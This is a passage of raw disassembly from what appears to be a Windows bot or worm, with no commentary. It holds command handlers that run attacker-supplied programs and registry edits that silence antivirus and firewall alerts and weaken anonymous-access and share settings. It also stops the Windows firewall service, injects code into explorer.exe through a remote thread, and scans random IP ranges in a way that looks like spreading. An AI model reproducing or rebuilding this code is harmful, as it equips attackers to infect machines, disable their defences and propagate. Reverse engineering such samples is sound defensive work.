--------------------------------------------------------------------------- loc_60330F: ; CODE XREF: sub_6030CA+A8j mov eax, [ebp+arg_4] mov dword_6016FC, eax call sub_603AF7 jmp locret_603433 ; --------------------------------------------------------------------------- loc_603321: ; CODE XREF: sub_6030CA+59j mov eax, [ebp+arg_4] mov dword_6016FC, eax call sub_603B3C jmp locret_603433 ; --------------------------------------------------------------------------- loc_603333: ; CODE XREF: sub_6030CA+25j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+1] sub eax, 20h mov ecx, [ebp+arg_0] inc ecx inc ecx neg eax sbb eax, eax not eax and eax, ecx push eax call sub_604422 jmp locret_603433 ; --------------------------------------------------------------------------- loc_603355: ; CODE XREF: sub_6030CA+4Cj call sub_6044C3 jmp locret_603433 ; --------------------------------------------------------------------------- loc_60335F: ; CODE XREF: sub_6030CA+B5j push 10h push dword_601538 call dword_601118 ; inet_ntoa push eax lea eax, [ebp+var_41C] push eax call dword_6010CC ; lstrcpynA push dword_60153C call dword_601118 ; inet_ntoa push eax lea eax, [ebp+var_41C] push eax push offset aNi_16s_16s ; "[ni] %.16s %.16s" push offset dword_601278 call dword_6010F4 ; wsprintfA add esp, 10h push offset dword_601278 call sub_602CF3 jmp locret_603433 ; --------------------------------------------------------------------------- loc_6033B1: ; CODE XREF: sub_6030CA+3Fj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+1] cmp eax, 20h jnz short loc_6033FC push offset aD ; "d" push offset dword_601680 push 0 push 0 push 28h push 0 push 0 push 0 mov eax, [ebp+arg_0] inc eax inc eax push eax push 0 call dword_6010B4 ; CreateProcessA cmp eax, 1 jnz short loc_6033F2 push offset aExec_0 ; "[exec] :)" call sub_602CF3 jmp short loc_6033FC ; --------------------------------------------------------------------------- loc_6033F2: ; CODE XREF: sub_6030CA+31Aj push offset aExec ; "[exec] :(" call sub_602CF3 loc_6033FC: ; CODE XREF: sub_6030CA+32j ; sub_6030CA+2F1j ... call sub_603ABE jmp short locret_603433 ; --------------------------------------------------------------------------- loc_603403: ; CODE XREF: sub_6030CA+8Ej mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+1] cmp eax, 20h jnz short loc_60341A mov eax, [ebp+arg_0] inc eax inc eax push eax call sub_6041F5 loc_60341A: ; CODE XREF: sub_6030CA+343j jmp short locret_603433 ; --------------------------------------------------------------------------- loc_60341C: ; CODE XREF: sub_6030CA+C2j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+1] cmp eax, 20h jnz short locret_603433 mov eax, [ebp+arg_0] inc eax inc eax push eax call sub_603FC5 locret_603433: ; CODE XREF: sub_6030CA+82j ; sub_6030CA+D5j ... leave retn 8 sub_6030CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_603437 proc near ; CODE XREF: sub_602D3E+236p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] mov [ebp+var_8], eax loc_603442: ; CODE XREF: sub_603437+71j push 7Ch push [ebp+var_8] call sub_603A00 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_603462 mov eax, [ebp+var_4] mov byte ptr [eax], 0 mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_603462: ; CODE XREF: sub_603437+1Cj mov eax, [ebp+var_8] movsx eax, byte ptr [eax] movsx ecx, byte_6017A6 cmp eax, ecx jnz short loc_603481 push 0 mov eax, [ebp+var_8] inc eax push eax call sub_6030CA jmp short loc_60349E ; --------------------------------------------------------------------------- loc_603481: ; CODE XREF: sub_603437+3Aj mov eax, [ebp+var_8] movsx eax, byte ptr [eax] movsx ecx, byte_6017A7 cmp eax, ecx jnz short loc_60349E push 1 mov eax, [ebp+var_8] inc eax push eax call sub_6030CA loc_60349E: ; CODE XREF: sub_603437+48j ; sub_603437+59j mov eax, [ebp+var_4] mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_603442 leave retn 4 sub_603437 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_6034AE proc near ; CODE XREF: sub_602928+148p ; sub_602D3E+182p push ebp mov ebp, esp call dword_6010B0 ; GetTickCount push eax push offset dword_6017EC push offset a_8s08x ; "%.8s%08x" push offset dword_601478 call dword_6010F4 ; wsprintfA add esp, 10h pop ebp retn sub_6034AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_6034D2 proc near ; CODE XREF: sub_60266C+Ep var_148 = dword ptr -148h var_144 = byte ptr -144h var_128 = dword ptr -128h var_124 = byte ptr -124h var_123 = byte ptr -123h var_122 = word ptr -122h var_120 = word ptr -120h var_11E = word ptr -11Eh var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 148h mov [ebp+var_8], offset aN ; "n" mov [ebp+var_148], 1 and [ebp+var_128], 0 mov [ebp+var_124], 2 mov [ebp+var_123], 0 mov [ebp+var_122], 8 and [ebp+var_120], 0 and [ebp+var_11E], 0 push 0 lea eax, [ebp+var_124] push eax push 0 push 0 push 4 push 6 call dword_6010A0 ; GetCurrentProcess push eax call dword_601030 ; SetSecurityInfo lea eax, [ebp+var_C] push eax push offset aSoftwareMicros ; "software\\microsoft\\ole" push 80000002h call dword_60102C ; RegCreateKeyA push 2 push [ebp+var_8] push 1 push 0 push offset aEnabledcom ; "enabledcom" push [ebp+var_C] call dword_601028 ; RegSetValueExA push [ebp+var_C] call dword_601024 ; RegCloseKey lea eax, [ebp+var_C] push eax push offset aSystemCurrentc ; "system\\currentcontrolset\\control\\lsa" push 80000002h call dword_60102C ; RegCreateKeyA push 4 lea eax, [ebp+var_148] push eax push 4 push 0 push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_C] call dword_601028 ; RegSetValueExA push 4 lea eax, [ebp+var_148] push eax push 4 push 0 push offset aRestrictanon_0 ; "restrictanonymoussam" push [ebp+var_C] call dword_601028 ; RegSetValueExA push [ebp+var_C] call dword_601024 ; RegCloseKey lea eax, [ebp+var_C] push eax push offset aSystemCurren_0 ; "system\\currentcontrolset\\services\\lanma"... push 80000002h call dword_60102C ; RegCreateKeyA push 4 lea eax, [ebp+var_128] push eax push 4 push 0 push offset aAutoshareserve ; "autoshareserver" push [ebp+var_C] call dword_601028 ; RegSetValueExA push 4 lea eax, [ebp+var_128] push eax push 4 push 0 push offset aAutosharewks ; "autosharewks" push [ebp+var_C] call dword_601028 ; RegSetValueExA push [ebp+var_C] call dword_601024 ; RegCloseKey lea eax, [ebp+var_C] push eax push offset aSoftwareMicr_0 ; "software\\microsoft\\security center" push 80000002h call dword_60102C ; RegCreateKeyA push 4 lea eax, [ebp+var_148] push eax push 4 push 0 push offset aAntivirusdisab ; "antivirusdisablenotify" push [ebp+var_C] call dword_601028 ; RegSetValueExA push 4 lea eax, [ebp+var_148] push eax push 4 push 0 push offset aAntivirusoverr ; "antivirusoverride" push [ebp+var_C] call dword_601028 ; RegSetValueExA push 4 lea eax, [ebp+var_148] push eax push 4 push 0 push offset aFirewalldisabl ; "firewalldisablenotify" push [ebp+var_C] call dword_601028 ; RegSetValueExA push 4 lea eax, [ebp+var_148] push eax push 4 push 0 push offset aFirewalldisa_0 ; "firewalldisableoverride" push [ebp+var_C] call dword_601028 ; RegSetValueExA push [ebp+var_C] call dword_601024 ; RegCloseKey lea eax, [ebp+var_C] push eax push offset aSoftwarePolici ; "software\\policies\\microsoft\\windowsfire"... push 80000002h call dword_60102C ; RegCreateKeyA push 4 lea eax, [ebp+var_128] push eax push 4 push 0 push offset aEnablefirewall ; "enablefirewall" push [ebp+var_C] call dword_601028 ; RegSetValueExA push [ebp+var_C] call dword_601024 ; RegCloseKey lea eax, [ebp+var_C] push eax push offset aSoftwarePoli_0 ; "software\\policies\\microsoft\\windowsfire"... push 80000002h call dword_60102C ; RegCreateKeyA push 4 lea eax, [ebp+var_128] push eax push 4 push 0 push offset aEnablefirewall ; "enablefirewall" push [ebp+var_C] call dword_601028 ; RegSetValueExA push [ebp+var_C] call dword_601024 ; RegCloseKey push 104h lea eax, [ebp+var_118] push eax call dword_6010A4 ; GetWindowsDirectoryA lea eax, [ebp+var_118] push eax push offset aSDebugDcpromo_ ; "%s\\debug\\dcpromo.log" lea eax, [ebp+var_118] push eax call dword_6010F4 ; wsprintfA add esp, 0Ch push 1 lea eax, [ebp+var_118] push eax call dword_6010A8 ; _lcreat push eax call dword_6010AC ; _lclose push 1 lea eax, [ebp+var_118] push eax call dword_6010D4 ; SetFileAttributesA push 22h push 0 push 0 call dword_601008 ; OpenSCManagerA mov [ebp+var_4], eax push 22h push offset aSharedaccess ; "sharedaccess" push [ebp+var_4] call dword_601004 ; OpenServiceA mov [ebp+var_11C], eax lea eax, [ebp+var_144] push eax push 1 push [ebp+var_11C] call dword_601020 ; ControlService push 0 push 0 push 0 push 0 push 0 push 0 push 0 push 0FFFFFFFFh push 4 push 0FFFFFFFFh push [ebp+var_11C] call dword_60101C ; ChangeServiceConfigA push [ebp+var_11C] call dword_60100C ; CloseServiceHandle push [ebp+var_4] call dword_60100C ; CloseServiceHandle leave retn sub_6034D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_6037CF proc near ; CODE XREF: sub_60266C+9p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 jmp short loc_6037E1 ; --------------------------------------------------------------------------- loc_6037DA: ; CODE XREF: sub_6037CF+63j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_6037E1: ; CODE XREF: sub_6037CF+9j cmp [ebp+var_4], 6 jnb short loc_603834 push offset aWinsvcmon_0 ; "winsvcmon" push 0 push 1F0001h call dword_60104C ; OpenMutexA mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_60381E call dword_601048 ; RtlGetLastWin32Error cmp eax, 2 jnz short loc_60381E push offset aWinsvcmon_0 ; "winsvcmon" push 1 push 0 call dword_601044 ; CreateMutexA jmp short locret_60383C ; --------------------------------------------------------------------------- loc_60381E: ; CODE XREF: sub_6037CF+31j ; sub_6037CF+3Cj push [ebp+var_8] call dword_601070 ; CloseHandle push 1400h call dword_6010E0 ; Sleep jmp short loc_6037DA ; --------------------------------------------------------------------------- loc_603834: ; CODE XREF: sub_6037CF+16j push 0 call dword_6010C0 ; ExitProcess locret_60383C: ; CODE XREF: sub_6037CF+4Dj leave retn sub_6037CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_60383E proc near ; CODE XREF: sub_6026A5+7Fp ; sub_602804+48p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch call dword_6010A0 ; GetCurrentProcess mov [ebp+var_8], eax mov eax, dword_601064 mov dword_6016D1, eax mov eax, dword_601070 mov dword_6016DD, eax mov eax, dword_601060 mov dword_6016E4, eax mov eax, dword_6010C0 mov dword_6016ED, eax push offset aD ; "d" push offset dword_601680 push 0 push 0 push 44h push 0 push 0 push 0 push offset aExplorer_exe ; "explorer.exe" push 0 call dword_6010B4 ; CreateProcessA push 2 push 0 push 0 lea eax, [ebp+var_C] push eax push dword ptr aD ; "d" push [ebp+var_8] push [ebp+var_8] call dword_60105C ; DuplicateHandle mov eax, [ebp+var_C] mov dword_6016CC, eax mov eax, [ebp+var_C] mov dword_6016D8, eax push 4 push 1000h push 138h push 0 push dword ptr aD ; "d" call dword_601058 ; VirtualAllocEx mov [ebp+var_4], eax push 0 push 34h push offset loc_6016C4 push [ebp+var_4] push dword ptr aD ; "d" call dword_601054 ; WriteProcessMemory push 0 push 104h push offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" mov eax, [ebp+var_4] add eax, 34h push eax push dword ptr aD ; "d" call dword_601054 ; WriteProcessMemory push 0 push 0 push 0 push [ebp+var_4] push 0 push 0 push dword ptr aD ; "d" call dword_601050 ; CreateRemoteThread push 0 call dword_6010C0 ; ExitProcess leave retn sub_60383E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_60393B proc near ; CODE XREF: sub_60424F+6Bp ; sub_604422+52p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] mov [ebp+var_4], eax and [ebp+var_8], 0 jmp short loc_603953 ; --------------------------------------------------------------------------- loc_60394C: ; CODE XREF: sub_60393B+3Bj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_603953: ; CODE XREF: sub_60393B+Fj mov eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_603978 mov eax, [ebp+var_8] imul eax, 0Ah mov [ebp+var_8], eax mov eax, [ebp+var_4] movzx eax, byte ptr [eax] mov ecx, [ebp+var_8] lea eax, [ecx+eax-30h] mov [ebp+var_8], eax jmp short loc_60394C ; --------------------------------------------------------------------------- loc_603978: ; CODE XREF: sub_60393B+20j mov eax, [ebp+var_8] leave retn 4 sub_60393B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_60397F proc near ; CODE XREF: sub_602853+2Ap ; sub_60424F+13Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_603990 ; --------------------------------------------------------------------------- loc_603989: ; CODE XREF: sub_60397F+22j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_603990: ; CODE XREF: sub_60397F+8j mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jnb short locret_6039A3 mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov byte ptr [eax], 0 jmp short loc_603989 ; --------------------------------------------------------------------------- locret_6039A3: ; CODE XREF: sub_60397F+17j leave retn 8 sub_60397F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_6039A7 proc near ; CODE XREF: sub_604CA5+64p ; sub_604D9C+42p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_6039B8 ; --------------------------------------------------------------------------- loc_6039B1: ; CODE XREF: sub_6039A7+24j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_6039B8: ; CODE XREF: sub_6039A7+8j mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jnb short locret_6039CD mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov cl, [ebp+arg_8] mov [eax], cl jmp short loc_6039B1 ; --------------------------------------------------------------------------- locret_6039CD: ; CODE XREF: sub_6039A7+17j leave retn 0Ch sub_6039A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_6039D1 proc near ; CODE XREF: sub_602928+32Cp ; sub_60401F+18p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_6039E2 ; --------------------------------------------------------------------------- loc_6039DB: ; CODE XREF: sub_6039D1+29j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_6039E2: ; CODE XREF: sub_6039D1+8j mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jnb short locret_6039FC mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov cl, [ecx] mov [eax], cl jmp short loc_6039DB ; --------------------------------------------------------------------------- locret_6039FC: ; CODE XREF: sub_6039D1+17j leave retn 0Ch sub_6039D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_603A00 proc near ; CODE XREF: sub_602928+2DBp ; sub_602D3E+1Dp ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp loc_603A03: ; CODE XREF: sub_603A00:loc_603A29j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jz short loc_603A2B mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] movsx ecx, [ebp+arg_4] cmp eax, ecx jnz short loc_603A22 mov eax, [ebp+arg_0] jmp short loc_603A2D ; --------------------------------------------------------------------------- jmp short loc_603A29 ; --------------------------------------------------------------------------- loc_603A22: ; CODE XREF: sub_603A00+19j mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax loc_603A29: ; CODE XREF: sub_603A00+20j jmp short loc_603A03 ; --------------------------------------------------------------------------- loc_603A2B: ; CODE XREF: sub_603A00+Bj xor eax, eax loc_603A2D: ; CODE XREF: sub_603A00+1Ej pop ebp retn 8 sub_603A00 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_603A31 proc near ; CODE XREF: sub_6044D2+288p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] mov [ebp+var_C], eax mov eax, [ebp+var_C] movsx eax, byte ptr [eax] test eax, eax jnz short loc_603A52 mov eax, [ebp+var_4] jmp short locret_603ABA ; --------------------------------------------------------------------------- loc_603A52: ; CODE XREF: sub_603A31+1Aj jmp short loc_603A5B ; --------------------------------------------------------------------------- loc_603A54: ; CODE XREF: sub_603A31+44j ; sub_603A31+85j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_603A5B: ; CODE XREF: sub_603A31:loc_603A52j mov eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_603AB8 mov eax, [ebp+var_4] movsx eax, byte ptr [eax] mov ecx, [ebp+var_C] movsx ecx, byte ptr [ecx] cmp eax, ecx jz short loc_603A77 jmp short loc_603A54 ; --------------------------------------------------------------------------- loc_603A77: ; CODE XREF: sub_603A31+42j mov eax, [ebp+var_4] mov [ebp+var_8], eax loc_603A7D: ; CODE XREF: sub_603A31:loc_603AAEj mov eax, [ebp+var_C] movsx eax, byte ptr [eax] test eax, eax jnz short loc_603A8E mov eax, [ebp+var_4] jmp short locret_603ABA ; --------------------------------------------------------------------------- jmp short loc_603AAE ; --------------------------------------------------------------------------- loc_603A8E: ; CODE XREF: sub_603A31+54j mov eax, [ebp+var_C] movsx eax, byte ptr [eax] mov ecx, [ebp+var_8] movsx ecx, byte ptr [ecx] mov edx, [ebp+var_C] inc edx mov [ebp+var_C], edx mov edx, [ebp+var_8] inc edx mov [ebp+var_8], edx cmp ecx, eax jz short loc_603AAE jmp short loc_603AB0 ; --------------------------------------------------------------------------- loc_603AAE: ; CODE XREF: sub_603A31+5Bj ; sub_603A31+79j jmp short loc_603A7D ; --------------------------------------------------------------------------- loc_603AB0: ; CODE XREF: sub_603A31+7Bj mov eax, [ebp+arg_4] mov [ebp+var_C], eax jmp short loc_603A54 ; --------------------------------------------------------------------------- loc_603AB8: ; CODE XREF: sub_603A31+32j xor eax, eax locret_603ABA: ; CODE XREF: sub_603A31+1Fj ; sub_603A31+59j leave retn 8 sub_603A31 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_603ABE proc near ; CODE XREF: sub_602928+9p ; sub_6030CA:loc_6033FCp var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx and [ebp+var_8], 0 push offset aDnsapi_dll ; "dnsapi.dll" call dword_60106C ; LoadLibraryA mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short locret_603AF5 push offset aDnsflushresolv ; "DnsFlushResolverCache" push [ebp+var_4] call dword_601068 ; GetProcAddress mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short locret_603AF5 call [ebp+var_8] locret_603AF5: ; CODE XREF: sub_603ABE+1Bj ; sub_603ABE+32j leave retn sub_603ABE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_603AF7 proc near ; CODE XREF: sub_602D3E:loc_603022p ; sub_6030CA+24Dp push ebp mov ebp, esp cmp dword_601700, 1 jnz short loc_603B3A and dword_601700, 0 push 0 push 0 push 8B00h push offset sub_603B4B push 0 push 0 call dword_6010C4 ; CreateThread push 0 push 0 push 18B00h push offset sub_603B4B push 0 push 0 call dword_6010C4 ; CreateThread loc_603B3A: ; CODE XREF: sub_603AF7+Aj pop ebp retn sub_603AF7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_603B3C proc near ; CODE XREF: sub_6030CA+25Fp push ebp mov ebp, esp mov dword_601700, 1 pop ebp retn sub_603B3C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_603B4B proc near ; DATA XREF: sub_603AF7+1Co ; sub_603AF7+34o var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi call dword_6010B0 ; GetTickCount mov esi, eax call dword_6010DC ; GetCurrentThreadId xor esi, eax mov [ebp+var_1C], esi cmp dword_60153C, 0FFFFFFFFh jnz short loc_603B79 mov eax, [ebp+var_1C] shl eax, 10h mov [ebp+var_14], eax jmp short loc_603B92 ; --------------------------------------------------------------------------- loc_603B79: ; CODE XREF: sub_603B4B+21j movzx eax, byte ptr dword_60153C shl eax, 18h movzx ecx, byte ptr dword_60153C+1 shl ecx, 10h or eax, ecx mov [ebp+var_14], eax loc_603B92: ; CODE XREF: sub_603B4B+2Cj mov eax, [ebp+arg_0] shr eax, 10h jnz short loc_603BAA mov [ebp+var_18], 0FFFF0000h mov [ebp+var_4], 0FF00h jmp short loc_603BB8 ; --------------------------------------------------------------------------- loc_603BAA: ; CODE XREF: sub_603B4B+4Dj mov [ebp+var_18], 0FF000000h mov [ebp+var_4], 0FFFF00h loc_603BB8: ; CODE XREF: sub_603B4B+5Dj mov eax, [ebp+arg_0] and eax, 0FFFFh mov word ptr [ebp+var_8], ax loc_603BC4: ; CODE XREF: sub_603B4B+E7j cmp dword_601700, 0 jnz short loc_603C34 mov eax, [ebp+var_14] and eax, [ebp+var_18] mov ecx, [ebp+var_1C] and ecx, [ebp+var_4] or eax, ecx mov [ebp+var_10], eax push 400h call dword_6010E0 ; Sleep mov eax, [ebp+var_10] mov [ebp+var_C], eax jmp short loc_603BFA ; --------------------------------------------------------------------------- loc_603BF1: ; CODE XREF: sub_603B4B+D2j mov eax, [ebp+var_C] add eax, 20h mov [ebp+var_C], eax loc_603BFA: ; CODE XREF: sub_603B4B+A4j mov eax, [ebp+var_10] add eax, 100h cmp [ebp+var_C], eax jnb short loc_603C1F push [ebp+var_8] push [ebp+var_C] call sub_603C3B push 200h call dword_6010E0 ; Sleep jmp short loc_603BF1 ; --------------------------------------------------------------------------- loc_603C1F: ; CODE XREF: sub_603B4B+BAj call dword_6010B0 ; GetTickCount mov esi, eax call dword_6010DC ; GetCurrentThreadId xor esi, eax mov [ebp+var_1C], esi jmp short loc_603BC4 ; --------------------------------------------------------------------------- loc_603C34: ; CODE XREF: sub_603B4B+80j xor eax, eax pop esi leave retn 4 sub_603B4B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_603C3B proc near ; CODE XREF: sub_603B4B+C2p var_2C4 = dword ptr -2C4h var_2C0 = dword ptr -2C0h var_2BC = dword ptr -2BCh var_2B8 = word ptr -2B8h var_2B6 = word ptr -2B6h var_2B4 = dword ptr -2B4h var_2A8 = dword ptr -2A8h var_2A4 = dword ptr -2A4h var_2A0 = dword ptr -2A0h var_29C = dword ptr -29Ch var_194 = dword ptr -194h var_190 = dword ptr -190h var_18C = dword ptr -18Ch var_88 = dword ptr -88h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp sub esp, 2C4h mov [ebp+var_2BC], 1 and [ebp+var_2A0], 0 and [ebp+var_190], 0 mov [ebp+var_2B8], 2 mov ax, [ebp+arg_4] mov [ebp+var_2B6], ax and [ebp+var_2A8], 0 and [ebp+var_2A4], 0 and [ebp+var_4], 0 jmp short loc_603C8B ; --------------------------------------------------------------------------- loc_603C84: ; CODE XREF: sub_603C3B+194j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_603C8B: ; CODE XREF: sub_603C3B+47j cmp [ebp+var_4], 20h jge loc_603DD4 push 6 push 1 push 2 call dword_601124 ; socket mov ecx, [ebp+var_4] mov [ebp+ecx*4+var_88], eax lea eax, [ebp+var_2BC] push eax push 8004667Eh mov eax, [ebp+var_4] push [ebp+eax*4+var_88] call dword_60110C ; ioctlsocket loc_603CC7: ; CODE XREF: sub_603C3B+10Aj and [ebp+var_2C0], 0 jmp short loc_603CDD ; --------------------------------------------------------------------------- loc_603CD0: ; CODE XREF: sub_603C3B:loc_603D06j mov eax, [ebp+var_2C0] inc eax mov [ebp+var_2C0], eax loc_603CDD: ; CODE XREF: sub_603C3B+93j mov eax, [ebp+var_2C0] cmp eax, [ebp+var_2A0] jnb short loc_603D08 mov eax, [ebp+var_2C0] mov ecx, [ebp+var_4] mov eax, [ebp+eax*4+var_29C] cmp eax, [ebp+ecx*4+var_88] jnz short loc_603D06 jmp short loc_603D08 ; --------------------------------------------------------------------------- loc_603D06: ; CODE XREF: sub_603C3B+C7j jmp short loc_603CD0 ; --------------------------------------------------------------------------- loc_603D08: ; CODE XREF: sub_603C3B+AEj ; sub_603C3B+C9j mov eax, [ebp+var_2C0] cmp eax, [ebp+var_2A0] jnz short loc_603D43 cmp [ebp+var_2A0], 40h jnb short loc_603D43 mov eax, [ebp+var_2C0] mov ecx, [ebp+var_4] mov ecx, [ebp+ecx*4+var_88] mov [ebp+eax*4+var_29C], ecx mov eax, [ebp+var_2A0] inc eax mov [ebp+var_2A0], eax loc_603D43: ; CODE XREF: sub_603C3B+D9j ; sub_603C3B+E2j xor eax, eax jnz short loc_603CC7 loc_603D47: ; CODE XREF: sub_603C3B+18Aj and [ebp+var_2C4], 0 jmp short loc_603D5D ; --------------------------------------------------------------------------- loc_603D50: ; CODE XREF: sub_603C3B:loc_603D86j mov eax, [ebp+var_2C4] inc eax mov [ebp+var_2C4], eax loc_603D5D: ; CODE XREF: sub_603C3B+113j mov eax, [ebp+var_2C4] cmp eax, [ebp+var_190] jnb short loc_603D88 mov eax, [ebp+var_2C4] mov ecx, [ebp+var_4] mov eax, [ebp+eax*4+var_18C] cmp eax, [ebp+ecx*4+var_88] jnz short loc_603D86 jmp short loc_603D88 ; --------------------------------------------------------------------------- loc_603D86: ; CODE XREF: sub_603C3B+147j jmp short loc_603D50 ; --------------------------------------------------------------------------- loc_603D88: ; CODE XREF: sub_603C3B+12Ej ; sub_603C3B+149j mov eax, [ebp+var_2C4] cmp eax, [ebp+var_190] jnz short loc_603DC3 cmp [ebp+var_190], 40h jnb short loc_603DC3 mov eax, [ebp+var_2C4] mov ecx, [ebp+var_4] mov ecx, [ebp+ecx*4+var_88] mov [ebp+eax*4+var_18C], ecx mov eax, [ebp+var_190] inc eax mov [ebp+var_190], eax loc_603DC3: ; CODE XREF: sub_603C3B+159j ; sub_603C3B+162j xor eax, eax jnz short loc_603D47 push 10h call dword_6010E0 ; Sleep jmp loc_603C84 ; --------------------------------------------------------------------------- loc_603DD4: ; CODE XREF: sub_603C3B+54j and [ebp+var_4], 0 jmp short loc_603DE1 ; --------------------------------------------------------------------------- loc_603DDA: ; CODE XREF: sub_603C3B+1D8j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_603DE1: ; CODE XREF: sub_603C3B+19Dj cmp [ebp+var_4], 20h jge short loc_603E15 mov eax, [ebp+arg_0] add eax, [ebp+var_4] push eax call dword_601110 ; ntohl mov [ebp+var_2B4], eax push 10h lea eax, [ebp+var_2B8] push eax mov eax, [ebp+var_4] push [ebp+eax*4+var_88] call dword_60112C ; connect jmp short loc_603DDA ; --------------------------------------------------------------------------- loc_603E15: ; CODE XREF: sub_603C3B+1AAj push 1400h call dword_6010E0 ; Sleep lea eax, [ebp+var_2A8] push eax push 0 lea eax, [ebp+var_190] push eax lea eax, [ebp+var_2A0] push eax push 0 call dword_601138 ; select mov [ebp+var_194], eax and [ebp+var_4], 0 jmp short loc_603E52 ; --------------------------------------------------------------------------- loc_603E4B: ; CODE XREF: sub_603C3B:loc_603EB0j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_603E52: ; CODE XREF: sub_603C3B+20Ej cmp [ebp+var_4], 20h jge short loc_603EB2 mov eax, [ebp+var_4] push [ebp+eax*4+var_88] call dword_601140 ; closesocket cmp [ebp+var_194], 0FFFFFFFFh jz short loc_603EA5 lea eax, [ebp+var_2A0] push eax mov eax, [ebp+var_4] push [ebp+eax*4+var_88] call sub_604F04 ; __WSAFDIsSet test eax, eax jnz short loc_603EB0 lea eax, [ebp+var_190] push eax mov eax, [ebp+var_4] push [ebp+eax*4+var_88] call sub_604F04 ; __WSAFDIsSet test eax, eax jnz short loc_603EB0 loc_603EA5: ; CODE XREF: sub_603C3B+234j mov eax, [ebp+var_4] or [ebp+eax*4+var_88], 0FFFFFFFFh loc_603EB0: ; CODE XREF: sub_603C3B+24Ej ; sub_603C3B+268j jmp short loc_603E4B ; --------------------------------------------------------------------------- loc_603EB2: ; CODE XREF: sub_603C3B+21Bj and [ebp+var_4], 0 jmp short loc_603EBF ; --------------------------------------------------------------------------- loc_603EB8: ; CODE XREF: sub_603C3B:loc_603EFBj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_603EBF: ; CODE XREF: sub_603C3B+27Bj cmp [ebp+var_4], 20h jge 